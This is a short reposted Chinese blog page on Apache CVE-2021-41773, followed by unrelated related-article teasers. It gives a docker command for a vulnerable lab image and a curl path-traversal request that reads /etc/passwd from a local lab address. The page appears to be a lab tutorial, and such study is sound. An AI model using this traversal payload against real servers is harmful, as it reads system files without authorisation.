常见中间件漏洞（Apache）

🕗 发布于 2024-09-24 03:38 WebShell  安全  中间件  

CVE-2021-41773

搭建环境

docker pull blueteamsteve/cve-2021-41773:no-cgid

curl http://192.168.10.190:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

工具 验证

原文地址：https://blog.csdn.net/2301_81525518/article/details/142439029

免责声明：本站文章内容转载自网络资源，如本站内容侵犯了原著者的合法权益，可联系本站删除。更多内容请关注自学内容网（zxcms.com）！

• 上一篇：闪回科技再冲刺上市：曾夸大融资规模，毛利率下滑，有股东退出
• 下一篇：【云安全】云上攻击路径

相关文章

• MySQL 加字段锁表怎么解决？？

  MySQL 添加字段锁表的问题可以通过多种方式解决，具体方案取决于你使用的 MySQL 版本、存储引擎以及表的大小等因素。最推荐的方案是使用在线操作，如或，这样可以在不停机的情况下进行表结构修改。此外

  阅读更多2024-09-25
• Day27笔记-Python操作Excel

  帮助0基础的小伙伴入门和学习Python！

  阅读更多2024-09-25
• 【Elasticsearch】-实现向量相似检索

  如果elasticsearch服务设置账号密码，则在请求的header中添加 Basic Auth 认证请求方式：Post请求地址：/index_name/_search请求body：json格式主要

  阅读更多2024-09-25
• React启动时 Error: error:0308010C:digital envelope routines::unsupported

  错误原因：通常与 Node.js 的新版本中 OpenSSL 的默认行为变化有关。从 Node.js 17 开始，OpenSSL 默认启用了 OpenSSL 3.0 的一些新特性，这可能会影响到一些旧

  阅读更多2024-09-25
• node.js + vue

  参考。

  阅读更多2024-09-25
• 1.Javaweb-搭建Web环境、初识JSP

  JSP九大内置对象（包括JSP四大作用域）JSP四大作用域。

  阅读更多2024-09-25
• MYSQL-约束

  limit的作用是限制查询记录的条数格式如下举例这里的1指的是从第二行数据开始，1就是索引（索引从0开始），4指的是查询记录条数，也就是从第二条（行）开始，一共查询四条记录，到第五条（行）如果第一个参

  阅读更多2024-09-25
• mybatisplus介绍以及使用（下）

  在上篇的mybatisplus中介绍到了其概念，其中包括了什么是mybatisplus以及已经有了mybatis但是我们为什么使用它，介绍到了他给我们带来的便利之处（本篇会继续讲解mybatisplu

  阅读更多2024-09-25
• DERT目标检测—End-to-End Object Detection with Transformers

  将目标检测任务直接看成是集合预测的问题。提出了一个全局的二分图匹配的损失函数：a set-based global loss that forces unique predictions via bi

  阅读更多2024-09-25
• Java | Leetcode Java题解之第435题无重叠区间

  Java | Leetcode Java题解之第435题无重叠区间

  阅读更多2024-09-25